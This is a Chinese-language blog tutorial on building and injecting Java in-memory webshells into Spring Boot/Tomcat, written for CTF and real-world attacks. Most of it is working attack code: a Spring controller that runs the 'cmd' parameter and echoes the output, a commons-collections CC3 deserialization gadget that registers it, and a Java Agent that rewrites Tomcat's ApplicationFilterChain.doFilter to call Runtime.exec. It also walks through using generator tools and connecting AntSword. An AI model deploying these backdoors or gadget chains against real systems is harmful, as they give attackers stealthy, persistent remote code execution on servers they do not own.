0x00 前言

几个月前就学了内存马,把tomcat、spring、Java Agent三种内存马学完之后就不管不顾,并没有用于实战中。真正在打实战才发现,我对内存马的利用只局限于上传jsp文件。

我反思自己为什么会犯这种错误——学之不能致用,一方面说明我的学习是机械的学习,极大的依赖教程,并没有深刻的理解原理;另一方面,就是没有主动想过用内存马打打实战,甚至是靶场也行。

所以本文将从两个维度综合讨论内存马,也就是原理和实战,这里不再赘叙内存马的基础原理,而是让原理为实战服务。

本文以Spring Conrtoller内存马为例。

0x01 环境

现在比较流行的框架是Spring Boot,所以我选择用Java8 + Spring Boot2.6:

image-20251030183704849

插件带上一个Spring Web,因为本文会结合前端:

image-20251030183759492

Spring Boot各个组件版本如下:

  • Spring Framework: 5.3.23

  • Spring Web: 5.3.23

  • Tomcat: 9.0.68

创建web包,给出hello控制器和反序列化控制器:

image-20251030185417251

image-20251030185434988

0x02 原理

原理说简单也简单,就是把一个恶意组件(本文组件是控制器)打入内存,由于该组件可以被前端触发,我们可以利用该组件随时进行RCE。

内存马的优点有二,一是注入到内存中,常规方法难以发现,在此基础上更近一步的是不死马;二是可以在不出网不回显的情况下于请求包中构造回显,扩大了攻击面。

回到原理。我们要想成功利用Spring Controller内存马进行RCE并把内容回显到响应体,必须满足以下条件:

  1. 得到当前的上下文,也就是WebApplicationContext。WebApplicationContext 是 Spring Boot Web 控制器的运行时环境,通过它,我们就可以把Controller内存马动态注册到当前的Web控制器。

  2. 实现Controller内存马,该控制器给出一个方法/路由接受恶意参数并返回目标数据到响应包。

  3. 写一段Java程序,把内存马注册到WebApplicationContext里,使得当前的Web控制器可以找到该Controller。

事实上,这三步可以整合到一个类的静态代码块,那么只要该类被加载,静态代码块里的内容就会自动执行内存马。在Java反序列化中,TemplatesImpl类可以加载实现了AbstractTranslet接口的类,前面说的三合一类实现该接口就可以了。

0x03 POC

构造EvilController

我们不妨先构造一个简单的恶意控制器(EvilController),也就是内存马的核心部分,通过该控制器,我们给出一个POST参数cmd,就可以让系统执行cmd并将结果回显到响应包。代码如下:

image-20251030195504952

注意这几行代码:

java.io.PrintWriter printWriter = response.getWriter(); :获取HTTP响应的PrintWriter对象,之后把执行命令之后的输出读入到响应体

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); :这里的builder.start()就是在执行系统命令。

现在我们得到了一个可以被利用的恶意控制器,但是该控制器并没有被注册到Spring Boot的Web服务配置中,那么当我们前端访问evilserver路由时,系统找不到对应的控制器。

注册EvilController

注册谁,注册到哪里,怎么注册?注册EvilController,注册到Web服务,至于注册方法,由于专业性较强,我稍微介绍即可。

在Spring MVC框架中,RequestMappingHandlerMapping类可以注册Controller,想要获得前者,需要通过ApplicationContext获取,而WebApplicationContext的获取有好几种方法,我下面就拿一种分析:

1
2
// getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext。
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

然后我们获得RequestMappingHandlerMapping类:

1
2
//  从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);

接着我们把Controller注册到RequestMappingHandlerMapping里即可:

1
2
3
4
5
6
7
8
9
// 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("evilController").newInstance(), method);

现在我们要把代码整合起来,却发现一个问题,这行代码一定要运行在Web服务里才能得到WebApplicationContext:

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

所以接下来有两种思路:

  1. 单独写一个class被反序列化加载类,触发静态代码块执行注册流程
  2. 把这段代码就放在EvilController的静态代码块里,因为静态代码块是最新被执行的,所以就相当与先获得WebApplicationContext再进行后面流程

选择第一种,那我们需要单独构造一个类,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.upgraded.test;

import com.sun.org.apache.bcel.internal.generic.ATHROW;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import java.lang.reflect.Method;

public class Register extends AbstractTranslet {
static {
// 获得WebApplicationContext
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 获得RequestMappingHandlerMapping
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 把EvilController注册到RequestMappingHandlerMapping
Method method = null;
try {
method = (Class.forName("com.upgraded.web.evilController").getDeclaredMethods())[0];
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
PatternsRequestCondition url = new PatternsRequestCondition("/evilserver");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
try {
r.registerMapping(info, Class.forName("com.upgraded.web.evilController").newInstance(), method);
} catch (InstantiationException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

选择第二种,就把该类换成EvilController,再往静态代码块里添加注册流程就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package com.upgraded.web;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.lang.reflect.Method;

//@Controller
public class EvilController extends AbstractTranslet implements Serializable{
static {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 获得RequestMappingHandlerMapping
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 把EvilController注册到RequestMappingHandlerMapping,由于我实现了AbstractTranslet接口,就必须进行方法选择
Method method = null;
try {
for (Method m : Class.forName("com.upgraded.web.EvilController").getDeclaredMethods()) {
if ("evilServer".equals(m.getName())) {
method = m;
break;
}
}
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
// 从RequestMappingInfo拿配置
RequestMappingInfo.BuilderConfiguration config =
new RequestMappingInfo.BuilderConfiguration();
config.setPatternParser(r.getPatternParser()); // 关键!

// 要使用config配置
RequestMappingInfo info = RequestMappingInfo
.paths("/evilserver")
.methods(RequestMethod.GET, RequestMethod.POST)
.options(config) // 使用配置
.build();
try {
r.registerMapping(info, Class.forName("com.upgraded.web.EvilController").newInstance(), method);
} catch (InstantiationException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}


@ResponseBody // 将返回值直接作为HTTP响应体
public String evilServer(HttpServletRequest request, HttpServletResponse response, @RequestParam("cmd") String cmd) throws Exception{ // 接收cmd参数
if (cmd != null) { // 检查cmd参数是否为null
try {
java.io.PrintWriter printWriter = response.getWriter(); // 获取HTTP响应的输出流
ProcessBuilder builder; // 声明进程构建器变量
// 判断当前操作系统是Windows还是Linux
if (System.getProperty("os.name").toLowerCase().contains("win")) { // 判断是否为Windows系统
builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); // Windows下使用cmd.exe执行命令
} else { // 如果不是Windows系统
builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd}); // Linux下使用bash执行命令
}
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); // 启动进程并获取输出流
String s = bufferedReader.readLine(); // 读取命令执行结果的第一行
printWriter.println(s); // 将结果写入HTTP响应
printWriter.flush(); // 刷新缓冲区,立即发送数据
printWriter.close(); // 关闭输出流
} catch (Exception e) { // 捕获所有异常
e.printStackTrace(); // 打印异常堆栈信息到控制台
}
}
return "over";
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

接下来就写一个cc3链,其被Web服务里的unser路由接收后,会进行Java反序列化,其中会把EvilController类进行类加载,先触发其静态代码块,其中便注册了EvilController内存马。

先添加依赖:

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

写出gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package com.upgraded.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;


import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import java.util.Base64;

import static org.springframework.util.SerializationUtils.serialize;

public class CC3_payload {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class TemplatesImplClass = templates.getClass();
Field nameField = TemplatesImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_nameIsHere");


Field bytecodesField = TemplatesImplClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:/all_test/test_java/com/MeHorses/upgraded/target/classes/com/upgraded/web/EvilController.class"));
byte[][] codes = new byte[][]{code};
bytecodesField.set(templates, codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 上面是transform方法,属于链子底层方法,接下来寻找调用transform方法的地方,也就是链子的顶部方法。
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

byte[] serialize = serialize(annotationInvocationHandler);
System.out.println(Base64.getEncoder().encodeToString(serialize));


}

public static <T> byte[] serialize(T o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static <T> T deserialize(byte[] ser) throws Exception {
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(ser));
return (T) in.readObject();
}


}

在实战中,如果一个反序列化入口没有回显也不能出网,我们就可以运行CC3_payload,把base64编码后的payload喂给反序列化入口,后端会从解码后的payload中类加载EvilController,后者的静态代码块执行,该Controller被成功注册,我们最后访问/evilserver,传参cmd即可。结果如下:

image-20251031143824056

在实战中,我们可以cat /etc/passwd等等,最后的输出回到响应体。

其实在编写POC的时候遇到很多错误,大致有下,具体就不展开说说了:

  • Spring Boot 不使用传统的 ContextLoaderListener,需要从请求上下文获取 WebApplicationContext
  • Spring 5.3+ 手动注册路由必须配置 PatternParser
  • 修改源码后必须重新编译,否则读取的还是旧字节码
  • 方法选择要明确指定名称,不能依赖数组索引顺序

0x04 工具

我们现在可以构造Spring Controller内存马,对比一下也能搞出其他类型的内存马,然后就可以集成为一个工具。出于时间考量,我在短期内并没有集成的想法。但是比赛的时候需要用到内存马,我没有时间慢慢思考调试,所以我需要找到可以快速生成内存马,以及可以把内存马用到Java其他漏洞上的工具。

我最先看到了这个比较有名的工具:pen4uin/java-memshell-generator: 一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool.

image-20251031152505089

这个工具可以很方便的构造内存马,暂且不管密钥,密码和请求头键值对的设计都是为了增加内存马的隐秘性。但是这个工具存在一个问题,就是不能直接对接Java反序列化,我们必须把编码后的数据再放入TemplatesImpl里。

说到Java反序列化工具,我想起Java Chains,正好我记得其可以对接内存马,一看还真是对接了这个工具,具体参数如下:

image-20251031153530196

拿上面的反序列化入口试试:

image-20251031153738717

image-20251031153823371

AntSwort添加连接:

image-20251031153946913

image-20251031154002063

成功连上:

image-20251031154024499

除此之外,还有一个在线工具:MemShellParty

image-20251101194634319

0x05 延展

要想搞懂内存马,只了解一个Spring Controller内存马是不够的。正好借着这次学习的机会,搞一个属于自己的内存马+反序列化 EXP。

Java Agent 内存马

我发现Java Chains似乎没有内置Java Agent内存马,正好我也忘记的差不多了,就先从Java Agent内存马开始。先假设一个情景,现在我们可以写入任意文件,并且还可以执行任意路径下的jar包(Web 服务以用户 www-data 运行,而 jar包以 app-user 执行,两者权限分离),但是不出网,那么该如何RCE呢?

毫无疑问需要利用jar包RCE,可是由于不出网,同时jar包是以app-user用户执行——我们无法把回显带到响应包。这时,我们需要利用jar包能执行任意代码,想办法往Web服务插入一个内存马制造回显。

这个情景我前面遇到过,但是不知道现在反推的这个情景是否合理严谨,但这并不是本文的重点。本文重点是如何构造一个简洁高效的Java Agent内存马思路和EXP

简单来说,要实现Java Agent内存马注入,类似有以下步骤:

  1. 寻找宿主类,宿主类的某个方法是Web服务会频繁调用的
  2. 编写修改类,该类会修改宿主类的字节码,我们通过该方法重新编写宿主类的方法内容,来实现RCE
  3. 编写Java Agent类,该类会通过调用修改类来实现上面所说的流程,然后把该类打包成jar
  4. 上传Java Agent的jar包,再想办法执行一段程序,让前面的jar包执行

这些步骤很繁琐,所以我们可以简化成两个jar包:

  • java_agent.jar:有两个类,一个是修改类,一个是Java Agent类(主类)
  • attack.jar:只有一个jar包的主类,负责让JavaAgent.jar成功注入的逻辑

我选择的宿主类是org.apache.catalina.core.ApplicationFilterChain,因为Spring Boot基于Tomcat,由于Tomcat的责任链机制,程序会反复调用 ApplicationFilterChain#doFilter方法。

先写一个修改类去修改宿主类方法:EvilTransFormer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import javassist.*;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class EvilTransFormer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
// 只处理目标类,其他类直接返回 null
if (!"org/apache/catalina/core/ApplicationFilterChain".equals(className)) {
return null;
}

try{
System.out.println("[Transformer] 开始转换类: " + className);
// 类池
ClassPool classPool = ClassPool.getDefault();
// //添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
// 选定宿主类,设置方法体
CtClass ctClass = null;
CtMethod ctMethod = null;
ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");

// 检查并解冻类
if (ctClass.isFrozen()) {
ctClass.defrost();
}

ctMethod = ctClass.getDeclaredMethod("doFilter");
String code = "{" +
"javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)$1;" +
"String cmd = request.getParameter(\"cmd\");" +
"if (cmd != null){" +
" Runtime.getRuntime().exec(cmd);" +
"}" +
"}";
ctMethod.insertBefore(code);
// 返回目标类字节码
byte[] bytes = ctClass.toBytecode();
// 从类池移除,避免下次获取到冻结的类
ctClass.detach();
System.out.println("[Transformer] 转换完成,返回字节码");
return bytes;

} catch (Exception e) {
System.out.println("[Transformer] 转换失败: " + e.getMessage());
e.printStackTrace();
}
return null;
}
}

然后再写一个Java Agent类调用该修改类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.lang.instrument.Instrumentation;

public class JavaAgent {
public static void agentmain(String args, Instrumentation inst) throws Exception{
Class[] classes = inst.getAllLoadedClasses();
for(Class cls : classes){
if(cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
System.out.println("[Agent] 找到目标类: " + cls.getName());
inst.addTransformer(new EvilTransFormer(), true);
inst.retransformClasses(cls);
System.out.println("[Agent] 成功注入Transformer到HelloController");
}
}
}
}

再把这两个类打包成jar,配置是:

1
2
3
4
5
Manifest-Version: 1.0
Agent-Class: JavaAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

对应的pom.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.ja</groupId>
<artifactId>JavaAgent_java_agent</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.7.1</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
</archive>
</configuration>
</plugin>
</plugins>
</build>

</project>

打包成java_agent.jar,放入该目录:src/main/resources/uploads

image-20251101101058049

再写一个Attack类把java_agent注入到选定的JVM里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.io.File;
import java.util.List;

public class Attack {
public static void main(String[] args) throws Exception{
// 获取当前工作目录
String workDir = System.getProperty("user.dir");
String agentPath = workDir + File.separator + "src" + File.separator + "main" + File.separator +
"resources" + File.separator + "uploads" + File.separator + "java_agent.jar";

File agentFile = new File(agentPath);
System.out.println("[*] 当前工作目录: " + workDir);
System.out.println("[*] Agent路径: " + agentPath);
System.out.println("[*] Agent文件存在: " + agentFile.exists());
System.out.println();

List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
if (vmd.displayName().equals("com.JavaAgentApplication")){
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
System.out.println("[+] 成功连接到目标JVM: " + vmd.id());
//加载Agent
virtualMachine.loadAgent(agentFile.getAbsolutePath());
System.out.println("[+] Agent加载成功!");
//断开JVM连接
virtualMachine.detach();
System.out.println("[+] 已断开连接");
}
}
}
}


配置文件如下,生成attack.jar并放到uploads目录下:

1
2
3
Manifest-Version: 1.0
Main-Class: Attack

对应的pom.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.ja</groupId>
<artifactId>JavaAgent_attack</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>1.8.0</version>
<!-- 移除 scope 和 systemPath -->
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.7.1</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>
src/main/resources/META-INF/MANIFEST.MF
</manifestFile>
</archive>
</configuration>
</plugin>
</plugins>
</build>
</project>

现在我们有了两个jar:java_agent.jar、attack.jar,按理来说应该把两个jar包上传到Web服务上,但是我是直接放到服务的uploads目录下——简化实验。接下来是让Web服务执行jar包,我写了一个ReadController来实现这个功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package com.web;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.nio.charset.Charset;

@Controller
public class ReadController {

@RequestMapping("/read")
@ResponseBody
public String readAndExecuteJar(@RequestParam("path") String jarPath) throws Exception {
StringBuilder output = new StringBuilder();

try {
// 显示调试信息
output.append("=== 调试信息 ===\n");
output.append("接收到的路径: ").append(jarPath).append("\n");
output.append("当前工作目录: ").append(System.getProperty("user.dir")).append("\n");
output.append("Java版本: ").append(System.getProperty("java.version")).append("\n");
output.append("系统默认编码: ").append(Charset.defaultCharset()).append("\n");

// 检查文件是否存在
File jarFile = new File(jarPath);
output.append("文件绝对路径: ").append(jarFile.getAbsolutePath()).append("\n");
output.append("文件是否存在: ").append(jarFile.exists()).append("\n");
if (jarFile.exists()) {
output.append("文件大小: ").append(jarFile.length()).append(" 字节\n");
output.append("是否可读: ").append(jarFile.canRead()).append("\n");
}
output.append("\n");

// 使用ProcessBuilder执行命令(直接运行jar包)
ProcessBuilder processBuilder = new ProcessBuilder(
"java",
"-jar",
jarFile.getAbsolutePath()
);
processBuilder.redirectErrorStream(false);

output.append("执行命令: java -jar ").append(jarFile.getAbsolutePath()).append("\n\n");

// 启动进程
Process process = processBuilder.start();

// 读取输出(使用GBK编码解决中文乱码问题)
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream(), "GBK")
);
BufferedReader errorReader = new BufferedReader(
new InputStreamReader(process.getErrorStream(), "GBK")
);

String line;
output.append("=== 标准输出 ===\n");
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}

output.append("\n=== 错误输出 ===\n");
while ((line = errorReader.readLine()) != null) {
output.append(line).append("\n");
}

// 等待进程完成
int exitCode = process.waitFor();
output.append("\n=== 退出码: ").append(exitCode).append(" ===");

reader.close();
errorReader.close();

} catch (Exception e) {
output.append("执行出错: ").append(e.getMessage()).append("\n\n");
output.append("=== 完整异常堆栈 ===\n");

// 获取完整的堆栈跟踪
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
e.printStackTrace(pw);
output.append(sw.toString());
}

return output.toString();
}
}


这个控制器的回显和报错功能十分全面,正常比赛不会给这么全面的调试信息。

接下来,我需要让后端调用attack.jar包,该包会把java_agent.jar包注入到指定的JVM里,进而修改ApplicationFilterChain的doFilter方法,这会使得我访问任意控制器前,先调用该方法,而该方法早被改成了木马。接下来复现一下:

image-20251101102544032

然后访问木马,成功执行弹计算器指令:

image-20251101102637107

学到这里,我并不满意,我总结接下来还需要做什么:

  1. 总结出一般性的java agent内存马注入方法,最好能做出工具(短时间应该不现实)
  2. 找到java agent内存马注入工具

找到一般性的方法,就是去特性找共性。就EvilTransformer类而言,没什么需要改的,但是有没有平替的类呢?平替类可以是**org.apache.tomcat.websocket.server.WsFilter**,该类被修改的方法也是doFilter。再者,本文所使用的宿主类其实有lambda表达式,如果利用无文件配合JNDI的打法就会报错。

再讨论JavaAgent类,该类没必要修改。但是到了Attack类也就是注入类,我们要确定Spring Boot当前运行的Web服务的启动类,这是一个难题,再加上上传jar包的指定路径也是必须要知道的,所以在白盒的情况下会舒服很多。

我又稍微看了下无文件内存马落地技术:Linux下无文件Java agent探究 - 跳跳糖,出乎所料的复杂,那就直接用现成的工具就可以了:whocansee/FilelessAgentMemShell: 无需文件落地Agent内存马生成器。但是我尝试利用该工具打反序列化,一直失败,迫于没有太多时间,就留待以后研究。

Tomcat 架构

作为一个十分流行的中间件,Tomcat是非常成熟且复杂的,其主要实现下面的两种功能:

  1. 处理 Socket 连接,负责网络字节流与 Request 和 Response 对象的转化。

  2. 加载并管理 Servlet ,以及处理具体的 Request 请求。

Tomcat使用Connector(连接器)来处理第一点,使用Container(容器)来处理第二点。我们知道,一个房间可以有多个门,一个服务可以有多个窗口,在这里就是一个容器可以对接多个连接器。

当你启动一个基于Tomcat的Web服务时,你会先启动一个Tomcat实例,叫做Service。不难想到,可以启动多个这样的Web服务,每一个都叫做Service,但是都属于一个Server。而每一个Service下有一个Container,以及其对应的多个Connector。

Container(又称作 Engine)

一个Web服务(Service)可以搭建多个域名,每一个域名都是一个Host,一个Service下可以有多个Host。每一个域名下会有多个路由,每一个路由对应一个Context(上下文)。到这里,我们已经可以确定一个URL了,谁来处理这个URL呢,由Wrapper来处理。

Wrapper是 Servlet 的托管者, 而Servlet技术是 Web 开发的原点。常见的Spring 应用本身就是一个 Servlet(DispatchSevlet),而Tomcat和Jetty这样的Web容器,负责加载和运行Servlet。可以这么说,Spring服务运行在Tomcat之上,或者其基于Tomcat。

Container的架构参考下图:

image-20251101231314296

Connector

前面讲的都是Container里的架构,Connector向Container发送ServletRequest,而Container返回ServletResponse。细心的读者已经发现了,这个的请求和响应并不是HTTP类型的。

事实上,Connector负责接收HTTP请求和返回HTTP响应,但是对其中Web服务的具体处理过程,由Connector将数据处理后交给Container来处理。

Connector的构造参照下图,本文不做具体分析,文末会给出参考文章。

image-20251101231136721

HTTP访问流程

假设一个情景,你要访问一个基于Tomcat的服务:http://a.b.c/hello。

首先,根据协议和端口号可以确定一个Connector,而一个Connector肯定对应一个Service,然后自然就确定了Service下的唯一的Container。

之后,我们知道一个Container存在多个Host,这可以根据URL提供的域名来确定目标Host。

接着,我们再根据URL里的路由(这里就是“hello”)确定对应的Context。

